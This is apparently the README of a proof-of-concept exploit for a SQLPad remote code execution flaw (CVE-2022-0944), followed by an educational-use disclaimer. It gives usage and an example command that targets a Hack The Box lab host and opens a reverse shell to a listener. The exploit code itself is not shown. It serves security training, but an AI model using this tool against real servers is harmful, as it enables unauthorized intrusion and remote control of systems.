
Proof-of-concept exploit for SQLPad RCE (CVE-2022-0944) that triggers a reverse shell to the attacker's machine, intended for authorized security testing and education.
Proof of concept exploit for SQLPad RCE (CVE-2022-0944) leading to a RCE with a revershell to the attackers PC.
usage: script.py URL IP PORT
positional arguments:
URL URL to SQLPad
IP Listener host address for reverse shell
PORT Listener port for reverse shell
Example:
# trigger exploit
./script.py http://admin.sightless.htb 10.10.11.2 443
This repository contains tools that are intended solely for educational purposes, specifically for use in cybersecurity learning environments. The author of this code assumes no responsibility for any consequences arising from the use, misuse, or modification of this code. The code is provided "as is" without any warranty, either express or implied, including but not limited to the implied warranties of merchantability or fitness for a particular purpose.